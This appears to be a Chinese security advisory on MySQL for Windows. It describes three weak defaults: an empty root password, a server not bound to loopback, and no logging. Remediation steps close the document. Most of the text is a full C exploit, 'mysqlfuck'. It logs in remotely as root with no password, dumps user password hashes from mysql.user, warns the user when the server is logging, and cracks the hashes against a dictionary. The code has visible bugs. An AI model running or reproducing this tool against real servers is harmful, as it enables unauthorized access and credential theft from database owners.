Windows 平台的 MySQL 缺省配置的脆弱性 涉及程序:
MySQL for windows
描述:
Windows 平台的 MySQL 缺省配置的脆弱性
详细:
MySQL 是一款源代码开放的关系型数据库管理系统(RDMS)。然而由于 MySQL 在 Windows 平台上缺省配置的弱安全性,使得普通用户如果不注意的话很容易遭到攻击。
MySQL 缺省配置的弱安全性主要表现在下面几点:
1) 空 root 口令:
MySQL 允许管理员通过一个叫做'mysql.user'的内部数据库系统表格进行用户管理。这个表格包括用户的用户名,口令和主机名。然而,MySQL 缺省允许用户使用空口令本地或远程登陆系统。但是 MySQL 的用户手册中却从来没有提到要删除缺省的 root/NULL 帐号。
2) Non-loopback-bound server:
大部分的MySQL用户都是在同一台本地主机上运行他们的数据库服务器。 如果一台服务器被绑定到Loopback(回环)接口,就意味着仅仅允许在本地登陆,已经排除了远程登陆的可能性,因为在实际中,大多数用户一般是不需要远程登陆的。然而在MySQL的配置文件中,'bind-address=127.0.0.1'缺省是被注释掉的,使得MySQL能够被远程主机访问。联合上述(1)中提到的root用户缺省空口令问题,将意味着如果用户按缺省配置不做更改的话,任何攻击者不用任何口令都可以远程登陆到服务器上。
3) 缺省没有任何日志:
通常在任何安全服务器软件中,日志都是必不可少的。但是 Windows 平台上的 MySQL 缺省根本就没有任何日志。也就是说 MySQL 管理员根本就无法知道他的服务器是否已经受到了安全威胁。
攻击方法:
#include <stdio.h>
#ifdef WIN32
#include <windows.h>
#endif
#include <mysql.h>
/*_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*?
/*Crazy MySQL programmers and their short typedefs*/
/*-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*/
#ifndef ulong
#define ulong unsigned long
#endif
#ifndef uint
#define uint unsigned int
#endif
#ifndef uchar
#define uchar unsigned char
#endif
/*_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*?
/*##--####--####--####--####--####--####--####--##*/
/*-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*/
/*--------------------------------------------------------------*/
/*<<This section is ripped straight from the MySQL
source.>>*/
/*I have this all nice and optimized in assembly on my
end, but*/
/*writing cross-compiler inline is not too fun, and
requring an*/
/*assembler is kinda frustrating.*/
/*--------------------------------------------------------------*/
void hash_password(ulong *result, const char *password)
{
register ulong nr=1345345333L, add=7, nr2=0x12345671L;
ulong tmp;
for (; *password ; password++)
{
if (*password == ' ' ││ *password == '\t')
continue; /* skipp space in password */
tmp= (ulong) (uchar) *password;
nr^= (((nr & 63)+add)*tmp)+ (nr << 8);
nr2+=(nr2 << 8) ^ nr;
add+=tmp;
}
result[0]=nr & 2147483647; /* Don't use sign bit
(str2int) */;
result[1]=nr2 & 2147483647;
return;
}
void make_scrambled_password(char *to,const char *password)
{
ulong hash_res[2];
hash_password(hash_res,password);
sprintf(to,"%08lx%08lx",hash_res[0],hash_res[1]);
}
/*--------------------------------------------------------------*/
/*<<######################################################>>*/
/*--------------------------------------------------------------*/
/*%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*/
/*--------------------------------*/
/*>*/
/*--------------------------------*/
typedef struct
{
char *user;
char *password;
} user;
#define MAX_USERS 16
/*--------------------------------*/
/*<<########################>>*/
/*--------------------------------*/
//main - for "coherency's" (yes, i mean laziness) sake,
i've kept this a single function
int
main
(
int argc,
char** argv
)
{
MYSQL * mysqlData; //--│-
MYSQL_RES * mysqlResult; //--│-MySQL Datatypes
MYSQL_ROW mysqlRow; //--│-
char *spHost; //--│
char *spUser="root"; //--│
char *spPassword=NULL; //--│-Our connection data
int spPort=3306; //--│
char *spServerVersion; //--│
int usernum=0; //--│
user *users[MAX_USERS]; //--│-User name/hash storage
data
FILE *fin, *fout; //--│
char *file_name; //--│-File I/O data
char *line=(char *)malloc(64); //--│
char *buff=(char *)malloc(64); //--│-Miscellaneous
buffers
int i=0; //--│Counter
//Warn about not meeting minimal arguments
if (2>argc)
{
fprintf (stderr, "usage: mysqlfuck host [-p<port>]");
return -1;
}
//Copy the first argument into the host buffer
spHost=(char *)malloc(sizeof(argv[1]));
strcpy (spHost, argv[1]);
//Copy port if the user specified
if (argv[2])
{
if (argv[2][1]=='p')
{
++argv[2];
++argv[2];
spPort=atoi(argv[2]);
printf ("port: %i\n", spPort);
}
}
//Initialize MySQL data and connect with root/NULL
mysqlData = (MYSQL *)malloc(sizeof(MYSQL));
mysql_init (mysqlData);
if (! mysql_real_connect (mysqlData, spHost, spUser,
spPassword, "mysql", spPort, NULL, 0) )
{
fprintf (stderr, "mysql_real_connect: %s\n",
mysql_error (mysqlData));
return -1;
}
//If the server logs, inform the user!
printf ("server version: %s\n",
mysql_get_server_info(mysqlData));
if (strstr (mysql_get_server_info (mysqlData), "log"))
{
printf ("Warning! Server is logging - Continue(*/n)?");
if (getchar()=='n')
{
mysql_close (mysqlData);
return -1;
}
}
//"Obtain" the hashes (notice i didn't use the word
steal)
if ( mysql_query (mysqlData, "SELECT user,password
FROM user") )
{
fprintf (stderr, "mysql_query: %s\n", mysql_error
(mysqlData));
return -1;
}
//Store the result and process it
mysqlResult=mysql_store_result(mysqlData);
while (mysqlRow=mysql_fetch_row(mysqlResult))
{
if (strlen(mysqlRow[0])==0)
{
mysqlRow[0]="(NULL)";
}
if (strlen(mysqlRow[1])==0)
{
mysqlRow[1]="(NULL)";
}
users[usernum]=(user *)malloc(sizeof(user));
users[usernum]->user=(char
*)malloc(strlen(mysqlRow[0])+1);
strcpy (users[usernum]->user, mysqlRow[0]);
users[usernum]->password=(char
*)malloc(strlen(mysqlRow[1])+1);
strcpy (users[usernum]->password, mysqlRow[1]);
usernum++;
}
mysql_close (mysqlData);
//Setup putput file name string
file_name=(char *)malloc (sizeof(spHost)+4);
strcpy (file_name, spHost);
strcat (file_name, ".txt\0\0");
printf ("\n+----------------------------+\n");
printf ("<decrypting and dumping to %s>\n", file_name);
printf ("+----------------------------+\n");
fout=fopen (spHost, "w");
if (!fout)
{
fprintf (stderr, "Unable to open %s for password
dumping\n", spHost);
return -1;
}
//Use a database to crack the hashes (optional)
fin=fopen ("dictionary.txt", "r");
if (!fin)
{
fprintf (stderr, "error opening dictionary.txt - no
decryption will take place\n");
for (i=0;i<usernum;i++)
{
printf ("%s::%s\n", users->user,
users->password);
}
return -1;
}
//Loop through the user array and crack/output hashes
for (i=0;i<usernum;i++)
{
if (users->user)
{
if (users->password)
{
while ( (fgets (line, 63, fin)))
{
line[strlen(line)-1]='\0';
make_scrambled_password (buff, line);
if (strcmp (buff, users->password)==0)
{
users->password=line;
break;
}
}
fclose (fin);
fprintf (fout, "%s::%s\n", users->user,
users->password);
printf ("%s::%s\n", users->user,
users->password);
fflush (fout);
}
}
}
//Always clean up after yourself!
fclose (fout);
if (buff)
free (buff);
if (line)
free (line);
if (spHost)
free (spHost);
if (users)
free (users);
if (file_name)
free (file_name);
if (mysqlData)
free (mysqlData);
}
解决方案:
1) 空 root 口令:
将缺省的 root 空帐号删除或改为强壮的口令。修改口令方法:mysqladmin -u root -p password vitterpasswd
输入这个命令后,需要输入root的原密码(默认空直接回车),然后root的密码将改为vitterpasswd。
2) Non-loopback-bound server:
在 my.ini 文件中将'bind-address=127.0.0.1' 的注释取消。
3) 缺省没有任何日志:
在my.ini文件中添加如下两行字串:
log-long-format
log=/path/to/somewhere/log.txt